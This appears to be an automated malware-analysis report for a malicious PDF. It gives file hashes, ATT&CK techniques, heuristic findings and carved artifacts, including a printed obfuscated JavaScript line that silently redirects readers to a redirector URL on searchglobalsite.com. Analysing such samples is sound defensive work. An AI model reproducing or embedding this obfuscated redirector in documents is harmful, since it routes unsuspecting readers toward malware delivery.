PDF malware analysis — malicious · 7724d99da2109f19

MALICIOUS

PDF

55.1 KB Created: 2012-05-14 14:34:11 +04:00 Authoring application: Drupal.org (via mPDF 5.0)

MD5: 83b098352a22d9831c761c63f6b0ff34 SHA-1: 4ef0563ec93baeb3f8de00c57776aaef8a3a3199 SHA-256: 7724d99da2109f19d4357582d6764864c42bd402a5c2bbb4a289cb10450d3d9f

108 Risk Score

Malware Insights

MITRE ATT&CK

T1059.007 JavaScript T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The PDF contains obfuscated JavaScript that, when decoded, reveals a URL to 'searchglobalsite.com'. This JavaScript is designed to execute and redirect the user to this malicious site, which is a common technique for delivering further malware. The ML classifier and heuristic firings strongly indicate malicious intent.

Machine Learning

Nyx PDF Classifier malicious score 0.9105

Heuristics 5

JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Obfuscated document JavaScript getURL redirector high PDF_JS_OBFUSCATED_GETURL_REDIRECTOR

PDF document-level JavaScript automatically calls getURL() on an HTTP(S) destination hidden behind percent escapes. The decoded path is a redirector-style endpoint such as /in.cgi or /go.php. This is malicious routing behavior rather than a PDF parser CVE.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://searchglobalsite.com/in.cgi?27 Referenced by PDF JavaScript
- http://dejavu.sourceforge.netIn PDF document text
- http://dejavu.sourceforge.net/wiki/index.php/LicenseIn PDF document text

Extracted artifacts 5

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0038_000.js` `df7e0affd237ec8d83f2947a5a6b8abd8fdb1a8dcb1a8ff2d1b4022d2913ab67`	pdf-javascript-stream	PDF /JS object 38 at offset 0xD29B	136 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script First 1,000 lines of the extracted script this.getURL(unescape('%68%74%74%70%3a%2f%2f%73%65%61%72%63%68%67%6c%6f%62%61%6c%73%69%74%65%2e%63%6f%6d%2f%69%6e%2e%63%67%69%3f%32%37'))
`stream_004_off0000183d.bin` `ded1520fd68b91798ef4502ba393be29e6762be445da6319489229b957e57958`	decompressed-pdf-stream	PDF FlateDecoded stream at offset 0x183D	17756 bytes
`font_01_sfnt_off0000464f.bin` `a8ed3909966b10c026f46212f55dce68c94667ce1ac039797d3ebfa1d644dacf`	pdf-font-stream	PDF embedded font (sfnt) at offset 0x464F	17892 bytes
`font_02_sfnt_off0000748f.bin` `4ee4e439b16220e78b319060a3d86ba95cd4b8614522dd4fa1d4df274793c516`	pdf-font-stream	PDF embedded font (sfnt) at offset 0x748F	18720 bytes
`font_03_sfnt_off0000a71c.bin` `e3eeacc5b1f780160b253f248c40fb29e5cb6416f62dd9413712ea70c37f26c9`	pdf-font-stream	PDF embedded font (sfnt) at offset 0xA71C	18756 bytes

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